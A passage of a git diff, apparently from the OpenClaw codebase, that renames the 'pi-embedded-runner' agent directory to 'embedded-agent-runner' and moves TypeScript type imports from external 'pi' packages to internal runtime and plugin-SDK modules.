AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { createUsageAccumulator } from "../usage-accumulator.js"; import { diff --git a/src/agents/pi-embedded-runner/run/helpers.ts b/src/agents/embedded-agent-runner/run/helpers.ts similarity index 95% rename from src/agents/pi-embedded-runner/run/helpers.ts rename to src/agents/embedded-agent-runner/run/helpers.ts index 684ac0244b5..8a309aaed3d 100644 --- a/src/agents/pi-embedded-runner/run/helpers.ts +++ b/src/agents/embedded-agent-runner/run/helpers.ts @@ -1,11 +1,11 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; import { generateSecureToken } from "../../../infra/secure-random.js"; +import type { AssistantMessage } from "../../../llm/types.js"; import { extractAssistantTextForPhase } from "../../../shared/chat-message-content.js"; import { resolveAgentConfig } from "../../agent-scope-config.js"; -import { extractAssistantVisibleText } from "../../pi-embedded-utils.js"; +import { extractAssistantVisibleText } from "../../embedded-agent-utils.js"; import { derivePromptTokens, normalizeUsage } from "../../usage.js"; -import type { EmbeddedPiAgentMeta } from "../types.js"; +import type { EmbeddedAgentMeta } from "../types.js"; import { toLastCallUsage, toNormalizedUsage, type UsageAccumulator } from "../usage-accumulator.js"; type UsageSnapshot = { @@ -116,7 +116,7 @@ export function isAssistantForModelRef( } function isEmbeddedHarnessProvider(provider: string): boolean { - return provider.trim().toLowerCase() === "pi"; + return provider.trim().toLowerCase() === "openclaw"; } export function resolveReportedModelRef(params: { @@ -152,7 +152,7 @@ export function buildUsageAgentMetaFields(params: { lastAssistantUsage?: UsageSnapshot | null; lastRunPromptUsage: UsageSnapshot | undefined; lastTurnTotal?: number; -}): Pick { +}): Pick { const usage = toNormalizedUsage(params.usageAccumulator); if (usage && params.lastTurnTotal && params.lastTurnTotal > 0) { usage.total = params.lastTurnTotal; @@ -183,7 +183,7 @@ export function buildErrorAgentMeta(params: { lastRunPromptUsage: UsageSnapshot | undefined; lastAssistant?: { usage?: unknown } | null; lastTurnTotal?: number; -}): EmbeddedPiAgentMeta { +}): EmbeddedAgentMeta { const usageMeta = buildUsageAgentMetaFields({ usageAccumulator: params.usageAccumulator, lastAssistantUsage: params.lastAssistant?.usage as UsageSnapshot | undefined, diff --git a/src/agents/pi-embedded-runner/run/history-image-prune.test.ts b/src/agents/embedded-agent-runner/run/history-image-prune.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/history-image-prune.test.ts rename to src/agents/embedded-agent-runner/run/history-image-prune.test.ts index 86cce22fb7c..53075c895ab 100644 --- a/src/agents/pi-embedded-runner/run/history-image-prune.test.ts +++ b/src/agents/embedded-agent-runner/run/history-image-prune.test.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { ImageContent } from "@earendil-works/pi-ai"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { ImageContent } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { castAgentMessage } from "../../test-helpers/agent-message-fixtures.js"; import { diff --git a/src/agents/pi-embedded-runner/run/history-image-prune.ts b/src/agents/embedded-agent-runner/run/history-image-prune.ts similarity index 98% rename from src/agents/pi-embedded-runner/run/history-image-prune.ts rename to src/agents/embedded-agent-runner/run/history-image-prune.ts index bdeefd8d1a7..3561be9abb0 100644 --- a/src/agents/pi-embedded-runner/run/history-image-prune.ts +++ b/src/agents/embedded-agent-runner/run/history-image-prune.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../../runtime/index.js"; export const PRUNED_HISTORY_IMAGE_MARKER = "[image data removed - already processed by model]"; export const PRUNED_HISTORY_MEDIA_REFERENCE_MARKER = diff --git a/src/agents/pi-embedded-runner/run/idle-timeout-breaker.test.ts b/src/agents/embedded-agent-runner/run/idle-timeout-breaker.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/idle-timeout-breaker.test.ts rename to src/agents/embedded-agent-runner/run/idle-timeout-breaker.test.ts diff --git a/src/agents/pi-embedded-runner/run/idle-timeout-breaker.ts b/src/agents/embedded-agent-runner/run/idle-timeout-breaker.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/idle-timeout-breaker.ts rename to src/agents/embedded-agent-runner/run/idle-timeout-breaker.ts diff --git a/src/agents/pi-embedded-runner/run/images.test.ts b/src/agents/embedded-agent-runner/run/images.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/images.test.ts rename to src/agents/embedded-agent-runner/run/images.test.ts diff --git a/src/agents/pi-embedded-runner/run/images.ts b/src/agents/embedded-agent-runner/run/images.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/images.ts rename to src/agents/embedded-agent-runner/run/images.ts index 5113e6b1873..a1ac96b8746 100644 --- a/src/agents/pi-embedded-runner/run/images.ts +++ b/src/agents/embedded-agent-runner/run/images.ts @@ -1,7 +1,7 @@ import path from "node:path"; -import type { ImageContent } from "@earendil-works/pi-ai"; import { formatErrorMessage } from "../../../infra/errors.js"; import { assertNoWindowsNetworkPath, safeFileURLToPath } from "../../../infra/local-file-access.js"; +import type { ImageContent } from "../../../llm/types.js"; import { resolveMediaReferenceLocalPath } from "../../../media/media-reference.js"; import type { PromptImageOrderEntry } from "../../../media/prompt-image-order.js"; import { loadWebMedia } from "../../../media/web-media.js"; diff --git a/src/agents/pi-embedded-runner/run/incomplete-turn.ts b/src/agents/embedded-agent-runner/run/incomplete-turn.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/incomplete-turn.ts rename to src/agents/embedded-agent-runner/run/incomplete-turn.ts index 5ca10a6b570..bc0963d634d 100644 --- a/src/agents/pi-embedded-runner/run/incomplete-turn.ts +++ b/src/agents/embedded-agent-runner/run/incomplete-turn.ts @@ -1,10 +1,9 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import { isSilentReplyPayloadText, isSilentReplyText, SILENT_REPLY_TOKEN, } from "../../../auto-reply/tokens.js"; -import type { EmbeddedPiExecutionContract } from "../../../config/types.agent-defaults.js"; +import type { EmbeddedAgentExecutionContract } from "../../../config/types.agent-defaults.js"; import { normalizeLowercaseStringOrEmpty } from "../../../shared/string-coerce.js"; import { normalizeStringEntries } from "../../../shared/string-normalization.js"; import { hasAcceptedSessionSpawn } from "../../accepted-session-spawn.js"; @@ -13,6 +12,7 @@ import { isStrictAgenticSupportedProviderModel, stripProviderPrefix, } from "../../execution-contract.js"; +import type { AgentMessage } from "../../runtime/index.js"; import { isLikelyMutatingToolName } from "../../tool-mutation.js"; import { hasCommittedMessagingToolDeliveryEvidence, @@ -822,7 +822,7 @@ function isSingleActionThenNarrativePattern(params: { } export function resolvePlanningOnlyRetryLimit( - executionContract?: EmbeddedPiExecutionContract, + executionContract?: EmbeddedAgentExecutionContract, ): number { return executionContract === "strict-agentic" ? STRICT_AGENTIC_PLANNING_ONLY_RETRY_LIMIT diff --git a/src/agents/pi-embedded-runner/run/llm-idle-timeout.test.ts b/src/agents/embedded-agent-runner/run/llm-idle-timeout.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/llm-idle-timeout.test.ts rename to src/agents/embedded-agent-runner/run/llm-idle-timeout.test.ts index ff797f1c473..3c69dd15e9d 100644 --- a/src/agents/pi-embedded-runner/run/llm-idle-timeout.test.ts +++ b/src/agents/embedded-agent-runner/run/llm-idle-timeout.test.ts @@ -1,4 +1,4 @@ -import type { AssistantMessageEventStream } from "@earendil-works/pi-ai"; +import type { AssistantMessageEventStream } from "openclaw/plugin-sdk/llm"; import { afterEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../../config/config.js"; import { diff --git a/src/agents/pi-embedded-runner/run/llm-idle-timeout.ts b/src/agents/embedded-agent-runner/run/llm-idle-timeout.ts similarity index 98% rename from src/agents/pi-embedded-runner/run/llm-idle-timeout.ts rename to src/agents/embedded-agent-runner/run/llm-idle-timeout.ts index f37287e1e69..d419c3c1d6f 100644 --- a/src/agents/pi-embedded-runner/run/llm-idle-timeout.ts +++ b/src/agents/embedded-agent-runner/run/llm-idle-timeout.ts @@ -1,7 +1,7 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; import { DEFAULT_LLM_IDLE_TIMEOUT_SECONDS } from "../../../config/agent-timeout-defaults.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; +import type { StreamFn } from "../../runtime/index.js"; +import type { MutableAssistantMessageEventStream } from "../../stream-compat.js"; import { createStreamIteratorWrapper } from "../../stream-iterator-wrapper.js"; import type { EmbeddedRunTrigger } from "./params.js"; @@ -270,7 +270,7 @@ export function streamWithIdleTimeout( throw error; } - const wrapStream = (stream: ReturnType) => { + const wrapStream = (stream: MutableAssistantMessageEventStream) => { const originalAsyncIterator = stream[Symbol.asyncIterator].bind(stream); (stream as { [Symbol.asyncIterator]: typeof originalAsyncIterator })[Symbol.asyncIterator] = function () { diff --git a/src/agents/pi-embedded-runner/run/message-merge-strategy.test.ts b/src/agents/embedded-agent-runner/run/message-merge-strategy.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/message-merge-strategy.test.ts rename to src/agents/embedded-agent-runner/run/message-merge-strategy.test.ts diff --git a/src/agents/pi-embedded-runner/run/message-merge-strategy.ts b/src/agents/embedded-agent-runner/run/message-merge-strategy.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/message-merge-strategy.ts rename to src/agents/embedded-agent-runner/run/message-merge-strategy.ts diff --git a/src/agents/pi-embedded-runner/run/message-tool-terminal.test.ts b/src/agents/embedded-agent-runner/run/message-tool-terminal.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/message-tool-terminal.test.ts rename to src/agents/embedded-agent-runner/run/message-tool-terminal.test.ts index 510e5f00ec1..91759a02dde 100644 --- a/src/agents/pi-embedded-runner/run/message-tool-terminal.test.ts +++ b/src/agents/embedded-agent-runner/run/message-tool-terminal.test.ts @@ -1,4 +1,4 @@ -import type { Agent, AfterToolCallContext } from "@earendil-works/pi-agent-core"; +import type { Agent, AfterToolCallContext } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it, vi } from "vitest"; import { installMessageToolOnlyTerminalHook, diff --git a/src/agents/pi-embedded-runner/run/message-tool-terminal.ts b/src/agents/embedded-agent-runner/run/message-tool-terminal.ts similarity index 93% rename from src/agents/pi-embedded-runner/run/message-tool-terminal.ts rename to src/agents/embedded-agent-runner/run/message-tool-terminal.ts index 99faaa66ddb..0aeb2c0a3ec 100644 --- a/src/agents/pi-embedded-runner/run/message-tool-terminal.ts +++ b/src/agents/embedded-agent-runner/run/message-tool-terminal.ts @@ -1,12 +1,7 @@ -import type { - AfterToolCallContext, - AfterToolCallResult, - Agent, -} from "@earendil-works/pi-agent-core"; import type { SourceReplyDeliveryMode } from "../../../auto-reply/get-reply-options.types.js"; -import { hasNonEmptyString as hasStringValue } from "../../../shared/string-coerce.js"; -import { isMessageToolSendActionName } from "../../pi-embedded-messaging.js"; -import { isToolResultError } from "../../pi-embedded-subscribe.tools.js"; +import { isMessageToolSendActionName } from "../../embedded-agent-messaging.js"; +import { isToolResultError } from "../../embedded-agent-subscribe.tools.js"; +import type { AfterToolCallContext, AfterToolCallResult, Agent } from "../../runtime/index.js"; import { normalizeToolName } from "../../tool-policy.js"; const MESSAGE_TOOL_NAME = "message"; @@ -28,10 +23,14 @@ function argsRecordForToolCall(context: AfterToolCallContext): Record) + ? fallbackArgs : {}; } +function hasStringValue(value: unknown): boolean { + return typeof value === "string" && value.trim().length > 0; +} + function hasExplicitMessageRoute(args: Record): boolean { if (EXPLICIT_MESSAGE_ROUTE_KEYS.some((key) => hasStringValue(args[key]))) { return true; diff --git a/src/agents/embedded-agent-runner/run/message-transform-stream-wrapper.ts b/src/agents/embedded-agent-runner/run/message-transform-stream-wrapper.ts new file mode 100644 index 00000000000..0260da54160 --- /dev/null +++ b/src/agents/embedded-agent-runner/run/message-transform-stream-wrapper.ts @@ -0,0 +1,30 @@ +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { AgentMessage } from "../../runtime/index.js"; + +export type MessageTransform = (messages: AgentMessage[], model: unknown) => AgentMessage[]; + +export function wrapStreamFnWithMessageTransform( + streamFn: StreamFn, + transform: MessageTransform, +): StreamFn { + return (model, context, options) => { + const messages = (context as unknown as { messages?: unknown })?.messages; + if (!Array.isArray(messages)) { + return streamFn(model, context, options); + } + + const nextMessages = transform(messages as AgentMessage[], model); + if (nextMessages === messages) { + return streamFn(model, context, options); + } + + return streamFn( + model, + { + ...(context as unknown as Record), + messages: nextMessages, + } as typeof context, + options, + ); + }; +} diff --git a/src/agents/pi-embedded-runner/run/midturn-precheck.ts b/src/agents/embedded-agent-runner/run/midturn-precheck.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/midturn-precheck.ts rename to src/agents/embedded-agent-runner/run/midturn-precheck.ts diff --git a/src/agents/pi-embedded-runner/run/params.ts b/src/agents/embedded-agent-runner/run/params.ts similarity index 97% rename from src/agents/pi-embedded-runner/run/params.ts rename to src/agents/embedded-agent-runner/run/params.ts index 8c7c9ae31ed..a78391dd884 100644 --- a/src/agents/pi-embedded-runner/run/params.ts +++ b/src/agents/embedded-agent-runner/run/params.ts @@ -1,5 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { ImageContent } from "@earendil-works/pi-ai"; import type { PartialReplyPayload, SourceReplyDeliveryMode, @@ -9,19 +7,21 @@ import type { ReplyOperation } from "../../../auto-reply/reply/reply-run-registr import type { ReasoningLevel, ThinkLevel, VerboseLevel } from "../../../auto-reply/thinking.js"; import type { InboundEventKind } from "../../../channels/inbound-event/kind.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; +import type { ImageContent } from "../../../llm/types.js"; import type { PromptImageOrderEntry } from "../../../media/prompt-image-order.js"; import type { CommandQueueEnqueueFn } from "../../../process/command-queue.types.js"; import type { InputProvenance } from "../../../sessions/input-provenance.js"; import type { UserTurnTranscriptRecorder } from "../../../sessions/user-turn-transcript.js"; import type { ExecElevatedDefaults, ExecToolDefaults } from "../../bash-tools.exec-types.js"; import type { AgentStreamParams, ClientToolDefinition } from "../../command/shared-types.js"; -import type { AgentInternalEvent } from "../../internal-events.js"; -import type { BlockReplyPayload } from "../../pi-embedded-payloads.js"; +import type { BlockReplyPayload } from "../../embedded-agent-payloads.js"; import type { BlockReplyChunking, ToolProgressDetailMode, ToolResultFormat, -} from "../../pi-embedded-subscribe.shared-types.js"; +} from "../../embedded-agent-subscribe.shared-types.js"; +import type { AgentInternalEvent } from "../../internal-events.js"; +import type { AgentMessage } from "../../runtime/index.js"; import type { SkillSnapshot } from "../../skills.js"; import type { SilentReplyPromptMode } from "../../system-prompt.types.js"; import type { PromptMode } from "../../system-prompt.types.js"; @@ -36,7 +36,7 @@ export type CurrentInboundPromptContext = { promptJoiner?: "\n\n" | "\n" | " "; }; -export type RunEmbeddedPiAgentParams = { +export type RunEmbeddedAgentParams = { sessionId: string; sessionKey?: string; /** Session-like key for sandbox and tool-policy resolution. Defaults to sessionKey. */ @@ -121,7 +121,7 @@ export type RunEmbeddedPiAgentParams = { modelFallbacksOverride?: string[]; /** Session-pinned embedded harness id. Prevents runtime hot-switching. */ agentHarnessId?: string; - /** Explicit runtime override selected for this turn. Unlike agentHarnessId, this may force PI. */ + /** Explicit runtime override selected for this turn. Unlike agentHarnessId, this may force OpenClaw. */ agentHarnessRuntimeOverride?: string; authProfileId?: string; authProfileIdSource?: "auto" | "user"; diff --git a/src/agents/pi-embedded-runner/run/payloads.errors.test.ts b/src/agents/embedded-agent-runner/run/payloads.errors.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/payloads.errors.test.ts rename to src/agents/embedded-agent-runner/run/payloads.errors.test.ts index e9539e5f03d..5668fe91dff 100644 --- a/src/agents/pi-embedded-runner/run/payloads.errors.test.ts +++ b/src/agents/embedded-agent-runner/run/payloads.errors.test.ts @@ -1,7 +1,7 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { getReplyPayloadMetadata } from "../../../auto-reply/reply-payload.js"; -import { formatBillingErrorMessage } from "../../pi-embedded-helpers.js"; +import { formatBillingErrorMessage } from "../../embedded-agent-helpers.js"; import { makeAssistantMessageFixture } from "../../test-helpers/assistant-message-fixtures.js"; import { buildPayloads, diff --git a/src/agents/pi-embedded-runner/run/payloads.test-helpers.ts b/src/agents/embedded-agent-runner/run/payloads.test-helpers.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/payloads.test-helpers.ts rename to src/agents/embedded-agent-runner/run/payloads.test-helpers.ts diff --git a/src/agents/pi-embedded-runner/run/payloads.test.ts b/src/agents/embedded-agent-runner/run/payloads.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/payloads.test.ts rename to src/agents/embedded-agent-runner/run/payloads.test.ts index 1d2fb9ac16b..c3f2568cf8d 100644 --- a/src/agents/pi-embedded-runner/run/payloads.test.ts +++ b/src/agents/embedded-agent-runner/run/payloads.test.ts @@ -1,4 +1,4 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { getReplyPayloadMetadata } from "../../../auto-reply/reply-payload.js"; import type { InteractiveReply, MessagePresentation } from "../../../interactive/payload.js"; diff --git a/src/agents/pi-embedded-runner/run/payloads.ts b/src/agents/embedded-agent-runner/run/payloads.ts similarity index 98% rename from src/agents/pi-embedded-runner/run/payloads.ts rename to src/agents/embedded-agent-runner/run/payloads.ts index 21d47fd68a7..81dc066461d 100644 --- a/src/agents/pi-embedded-runner/run/payloads.ts +++ b/src/agents/embedded-agent-runner/run/payloads.ts @@ -1,4 +1,3 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; import type { SourceReplyDeliveryMode } from "../../../auto-reply/get-reply-options.types.js"; import { createHeartbeatToolResponsePayload, @@ -16,6 +15,7 @@ import { isSilentReplyPayloadText, SILENT_REPLY_TOKEN } from "../../../auto-repl import { formatToolAggregate } from "../../../auto-reply/tool-meta.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; import { hasReplyPayloadContent } from "../../../interactive/payload.js"; +import type { AssistantMessage } from "../../../llm/types.js"; import { isCronSessionKey } from "../../../routing/session-key.js"; import { extractAssistantTextForPhase } from "../../../shared/chat-message-content.js"; import { @@ -29,10 +29,13 @@ import { getApiErrorPayloadFingerprint, isRawApiErrorPayload, normalizeTextForComparison, -} from "../../pi-embedded-helpers.js"; -import type { MessagingToolSourceReplyPayload } from "../../pi-embedded-messaging.types.js"; -import type { ToolResultFormat } from "../../pi-embedded-subscribe.shared-types.js"; -import { extractAssistantThinking, extractAssistantVisibleText } from "../../pi-embedded-utils.js"; +} from "../../embedded-agent-helpers.js"; +import type { MessagingToolSourceReplyPayload } from "../../embedded-agent-messaging.types.js"; +import type { ToolResultFormat } from "../../embedded-agent-subscribe.shared-types.js"; +import { + extractAssistantThinking, + extractAssistantVisibleText, +} from "../../embedded-agent-utils.js"; import { isExecLikeToolName, type ToolErrorSummary } from "../../tool-error-summary.js"; import { isLikelyMutatingToolName } from "../../tool-mutation.js"; diff --git a/src/agents/pi-embedded-runner/run/preemptive-compaction.test.ts b/src/agents/embedded-agent-runner/run/preemptive-compaction.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/preemptive-compaction.test.ts rename to src/agents/embedded-agent-runner/run/preemptive-compaction.test.ts index 4a7100df5f4..446d192c98f 100644 --- a/src/agents/pi-embedded-runner/run/preemptive-compaction.test.ts +++ b/src/agents/embedded-agent-runner/run/preemptive-compaction.test.ts @@ -1,6 +1,6 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { beforeAll, describe, expect, it, vi } from "vitest"; -import "../../test-helpers/pi-coding-agent-token-mock.js"; +import "../../test-helpers/agent-session-token-mock.js"; import { estimateToolResultReductionPotential } from "../tool-result-truncation.js"; let PREEMPTIVE_OVERFLOW_ERROR_TEXT: typeof import("./preemptive-compaction.js").PREEMPTIVE_OVERFLOW_ERROR_TEXT; diff --git a/src/agents/pi-embedded-runner/run/preemptive-compaction.ts b/src/agents/embedded-agent-runner/run/preemptive-compaction.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/preemptive-compaction.ts rename to src/agents/embedded-agent-runner/run/preemptive-compaction.ts index 53fa4616f4d..7029818e982 100644 --- a/src/agents/pi-embedded-runner/run/preemptive-compaction.ts +++ b/src/agents/embedded-agent-runner/run/preemptive-compaction.ts @@ -1,12 +1,12 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import type { SessionContextBudgetStatus } from "../../../config/sessions.js"; import { isRecord } from "../../../shared/record-coerce.js"; import { estimateStringChars } from "../../../utils/cjk-chars.js"; -import { SAFETY_MARGIN } from "../../compaction.js"; import { MIN_PROMPT_BUDGET_RATIO, MIN_PROMPT_BUDGET_TOKENS, -} from "../../pi-compaction-constants.js"; +} from "../../agent-compaction-constants.js"; +import { SAFETY_MARGIN } from "../../compaction.js"; +import type { AgentMessage } from "../../runtime/index.js"; import { estimateToolResultReductionPotential } from "../tool-result-truncation.js"; import type { PreemptiveCompactionRoute } from "./preemptive-compaction.types.js"; diff --git a/src/agents/pi-embedded-runner/run/preemptive-compaction.types.ts b/src/agents/embedded-agent-runner/run/preemptive-compaction.types.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/preemptive-compaction.types.ts rename to src/agents/embedded-agent-runner/run/preemptive-compaction.types.ts diff --git a/src/agents/pi-embedded-runner/run/retry-limit.ts b/src/agents/embedded-agent-runner/run/retry-limit.ts similarity index 90% rename from src/agents/pi-embedded-runner/run/retry-limit.ts rename to src/agents/embedded-agent-runner/run/retry-limit.ts index 6be80e54703..1206460d543 100644 --- a/src/agents/pi-embedded-runner/run/retry-limit.ts +++ b/src/agents/embedded-agent-runner/run/retry-limit.ts @@ -1,6 +1,6 @@ import { FailoverError, resolveFailoverStatus } from "../../failover-error.js"; import type { EmbeddedRunLivenessState } from "../types.js"; -import type { EmbeddedPiAgentMeta, EmbeddedPiRunResult } from "../types.js"; +import type { EmbeddedAgentMeta, EmbeddedAgentRunResult } from "../types.js"; import type { RetryLimitFailoverDecision } from "./failover-policy.js"; export function handleRetryLimitExhaustion(params: { @@ -10,10 +10,10 @@ export function handleRetryLimitExhaustion(params: { model: string; profileId?: string; durationMs: number; - agentMeta: EmbeddedPiAgentMeta; + agentMeta: EmbeddedAgentMeta; replayInvalid?: boolean; livenessState?: EmbeddedRunLivenessState; -}): EmbeddedPiRunResult { +}): EmbeddedAgentRunResult { if (params.decision.action === "fallback_model") { throw new FailoverError(params.message, { reason: params.decision.reason, diff --git a/src/agents/pi-embedded-runner/run/runtime-context-prompt.test.ts b/src/agents/embedded-agent-runner/run/runtime-context-prompt.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/runtime-context-prompt.test.ts rename to src/agents/embedded-agent-runner/run/runtime-context-prompt.test.ts diff --git a/src/agents/pi-embedded-runner/run/runtime-context-prompt.ts b/src/agents/embedded-agent-runner/run/runtime-context-prompt.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/runtime-context-prompt.ts rename to src/agents/embedded-agent-runner/run/runtime-context-prompt.ts diff --git a/src/agents/pi-embedded-runner/run/setup.test.ts b/src/agents/embedded-agent-runner/run/setup.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/setup.test.ts rename to src/agents/embedded-agent-runner/run/setup.test.ts diff --git a/src/agents/pi-embedded-runner/run/setup.ts b/src/agents/embedded-agent-runner/run/setup.ts similarity index 87% rename from src/agents/pi-embedded-runner/run/setup.ts rename to src/agents/embedded-agent-runner/run/setup.ts index 2d22e7320eb..f92ff62ef5c 100644 --- a/src/agents/pi-embedded-runner/run/setup.ts +++ b/src/agents/embedded-agent-runner/run/setup.ts @@ -15,7 +15,7 @@ import { import { DEFAULT_CONTEXT_TOKENS } from "../../defaults.js"; import { FailoverError } from "../../failover-error.js"; import { log } from "../logger.js"; -import { readPiModelContextTokens } from "../model-context-tokens.js"; +import { readAgentModelContextTokens } from "../model-context-tokens.js"; type HookContext = { agentId?: string; @@ -50,7 +50,7 @@ export async function resolveHookModelSelection(params: { let provider = params.provider; let modelId = params.modelId; let modelResolveOverride: { providerOverride?: string; modelOverride?: string } | undefined; - let legacyBeforeAgentStartResult: PluginHookBeforeAgentStartResult | undefined; + let beforeAgentStartResult: PluginHookBeforeAgentStartResult | undefined; const hookRunner = params.hookRunner; // Run before_model_resolve hooks early so plugins can override the @@ -71,18 +71,19 @@ export async function resolveHookModelSelection(params: { if (hookRunner?.hasHooks("before_agent_start")) { try { - legacyBeforeAgentStartResult = await hookRunner.runBeforeAgentStart( + beforeAgentStartResult = await hookRunner.runBeforeAgentStart( { prompt: params.prompt }, params.hookContext, ); modelResolveOverride = { providerOverride: - modelResolveOverride?.providerOverride ?? legacyBeforeAgentStartResult?.providerOverride, - modelOverride: - modelResolveOverride?.modelOverride ?? legacyBeforeAgentStartResult?.modelOverride, + modelResolveOverride?.providerOverride ?? beforeAgentStartResult?.providerOverride, + modelOverride: modelResolveOverride?.modelOverride ?? beforeAgentStartResult?.modelOverride, }; } catch (hookErr) { - log.warn(`before_agent_start hook (legacy model resolve path) failed: ${String(hookErr)}`); + log.warn( + `deprecated before_agent_start hook failed during model resolve: ${String(hookErr)}`, + ); } } @@ -98,7 +99,7 @@ export async function resolveHookModelSelection(params: { return { provider, modelId, - legacyBeforeAgentStartResult, + beforeAgentStartResult, }; } @@ -128,12 +129,12 @@ export function resolveEffectiveRuntimeModel(params: { cfg: params.cfg, provider: params.contextConfigProvider ?? params.provider, modelId: params.modelId, - modelContextTokens: readPiModelContextTokens(params.runtimeModel), + modelContextTokens: readAgentModelContextTokens(params.runtimeModel), modelContextWindow: params.runtimeModel.contextWindow, defaultTokens: DEFAULT_CONTEXT_TOKENS, }); - // Apply contextTokens cap to model so pi-coding-agent's auto-compaction + // Apply contextTokens cap to model so session runtime's auto-compaction // threshold uses the effective limit, not the native context window. const effectiveModel = ctxInfo.tokens < (params.runtimeModel.contextWindow ?? Infinity) diff --git a/src/agents/pi-embedded-runner/run/stream-wrapper.ts b/src/agents/embedded-agent-runner/run/stream-wrapper.ts similarity index 82% rename from src/agents/pi-embedded-runner/run/stream-wrapper.ts rename to src/agents/embedded-agent-runner/run/stream-wrapper.ts index 7224cf51146..b2279e63305 100644 --- a/src/agents/pi-embedded-runner/run/stream-wrapper.ts +++ b/src/agents/embedded-agent-runner/run/stream-wrapper.ts @@ -1,12 +1,10 @@ -import { streamSimple } from "@earendil-works/pi-ai"; +import type { MutableAssistantMessageEventStream } from "../../stream-compat.js"; import { createStreamIteratorWrapper } from "../../stream-iterator-wrapper.js"; -type SimpleStream = ReturnType; - export function wrapStreamObjectEvents( - stream: SimpleStream, + stream: MutableAssistantMessageEventStream, onEvent: (event: Record) => void | Promise, -): SimpleStream { +): MutableAssistantMessageEventStream { const originalAsyncIterator = stream[Symbol.asyncIterator].bind(stream); (stream as { [Symbol.asyncIterator]: typeof originalAsyncIterator })[Symbol.asyncIterator] = function () { diff --git a/src/agents/pi-embedded-runner/run/tool-media-payloads.test.ts b/src/agents/embedded-agent-runner/run/tool-media-payloads.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/tool-media-payloads.test.ts rename to src/agents/embedded-agent-runner/run/tool-media-payloads.test.ts diff --git a/src/agents/pi-embedded-runner/run/tool-media-payloads.ts b/src/agents/embedded-agent-runner/run/tool-media-payloads.ts similarity index 80% rename from src/agents/pi-embedded-runner/run/tool-media-payloads.ts rename to src/agents/embedded-agent-runner/run/tool-media-payloads.ts index 86e23aa824f..542b262f6f4 100644 --- a/src/agents/pi-embedded-runner/run/tool-media-payloads.ts +++ b/src/agents/embedded-agent-runner/run/tool-media-payloads.ts @@ -3,13 +3,9 @@ import { copyReplyPayloadMetadata, getReplyPayloadMetadata, } from "../../../auto-reply/reply-payload.js"; -import { - normalizeUniqueStringEntries, - uniqueStrings, -} from "../../../shared/string-normalization.js"; -import type { EmbeddedPiRunResult } from "../types.js"; +import type { EmbeddedAgentRunResult } from "../types.js"; -type EmbeddedRunPayload = NonNullable[number]; +type EmbeddedRunPayload = NonNullable[number]; export function mergeAttemptToolMediaPayloads(params: { payloads?: EmbeddedRunPayload[]; @@ -18,7 +14,9 @@ export function mergeAttemptToolMediaPayloads(params: { toolTrustedLocalMedia?: boolean; sourceReplyDeliveryMode?: SourceReplyDeliveryMode; }): EmbeddedRunPayload[] | undefined { - const mediaUrls = normalizeUniqueStringEntries(params.toolMediaUrls); + const mediaUrls = Array.from( + new Set(params.toolMediaUrls?.map((url) => url.trim()).filter(Boolean) ?? []), + ); if (mediaUrls.length === 0 && !params.toolAudioAsVoice && !params.toolTrustedLocalMedia) { return params.payloads; } @@ -33,7 +31,7 @@ export function mergeAttemptToolMediaPayloads(params: { ) { return payloads; } - const mergedMediaUrls = uniqueStrings([...(payload.mediaUrls ?? []), ...mediaUrls]); + const mergedMediaUrls = Array.from(new Set([...(payload.mediaUrls ?? []), ...mediaUrls])); payloads[payloadIndex] = copyReplyPayloadMetadata(payload, { ...payload, mediaUrls: mergedMediaUrls.length ? mergedMediaUrls : undefined, diff --git a/src/agents/pi-embedded-runner/run/transcript-repair-runtime-contract.test.ts b/src/agents/embedded-agent-runner/run/transcript-repair-runtime-contract.test.ts similarity index 98% rename from 